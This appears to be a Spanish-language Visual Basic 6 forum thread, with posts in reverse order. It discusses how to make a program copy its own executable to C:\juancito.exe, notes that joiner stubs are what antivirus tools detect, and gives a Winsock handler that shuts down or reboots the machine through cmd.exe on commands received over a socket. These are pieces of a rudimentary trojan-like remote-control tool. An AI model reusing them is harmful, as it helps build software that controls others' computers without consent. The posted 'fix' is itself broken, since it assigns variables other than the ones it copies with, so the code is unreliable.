Mensajes

Código [Seleccionar] Expandir

Private Sub Command1_Click()
        Dim fso As filesystemobject
        Dim desde, hasta As String
        source = App.Path & "\" & App.EXEName & ".exe"
        destiny = "C:\juancito.exe"
        Set fso = New filesystemobject
        fso.CopyFile desde, hasta, True
        Set fso = Nothing
End Sub

Ahí salió. 

Gracias a los dos por las ideas.

Pues eso no te tendría que pasar al intentar copiar de cualquier forma

Es que el mismo code con un archivo que no sea la aplicacion que estoy programando funciona perfecto y copia el archivo bien. O sea, lo que no puedo hacer bien es que se autocopie. Me genera ese archivo de 0 kb.

Como seria con filesystemobject?

[route66]

Bueno, estoy tratando de hacer una copia de mi archivo en otra ubicacion. El tema es que el archivo se copia pero pesa 0 kb, por lo que asumo que algo falla. 
Probe primero con filecopy pero me salta error por tratar de copiar un archivo en uso.
Ahora estoy tratando de hacerlo con "copyfile" usando la api, lo copio, pero pesa 0kb.
Este es el code.

Código [Seleccionar] Expandir

Call CopyFile(App.Path + "\" + App.EXEName + ".exe", route66 & "\" & "miarchivo.exe", 0)

route66 es una variable que guarda la ruta de una carpeta.

No se, alguna idea? Estuve viendo ejemplos de otros codigos en el foro y todos usan filecopy 

la z que vendria a ser? una incognita??

Yo tampoco nunca lo supe concretamente, pero a grandes rasgos CREO que es un programa o porcion de programa que hace determinada tarea. Por ejemplo, un joiner añade su stub a los dos archivos a juntar. El stub es el que es detectado por los antivirus.

Para evitar usar el Change de la caja de texto puedes usar un Case select en el data arrival del socket. Asi:

Código [Seleccionar] Expandir

Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
ws.GetData datos        '  datos recibidos a la variable datos
Select case datos
Case apa
    Shell ("cmd.exe /c shutdown -s -t 1")
Case rei
    Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
Case Left(datos, 3) = "msg"
    datos = Right(datos, Len(datos) - 3)
    MsgBox (datos)
Case paint
    Shell ("mspaint")
End select

Código [Seleccionar] Expandir

minuto = 0
minuto = minuto + 1

=

Código [Seleccionar] Expandir

minuto = 1

yo? que? ah??!

[winsock1.close]

Código [Seleccionar] Expandir

Private Sub Timer1_Timer()
If Winsock1.State <> 2 & Winsock1.State <> 7 Then
Winsock1.Close  ' acordate siempre de cerrarlo
Winsock1.Listen
End If
If Winsock1.State = sckConnected Then
Label1.Caption = "conectado"
End If
End Sub

Te faltaba el winsock1.close. O sea, pone lo que dice casiani y si el socket no esta ni conectado ni escuchando entonces Winsock1.Close y lo que vos quieras. Ahi deberia andar.

Si, lo que pasa es que con un timer saturas mas la computadora. Imaginate que cada un segundo (o el tiempo que tu elijas) el servidor estara preguntando lo mismo, muchas veces inutilmente. Con los estados del Winsock por ahi es mas...profesional. Pero en tu caso, con una aplicacion "sencilla" como esta ni se notara.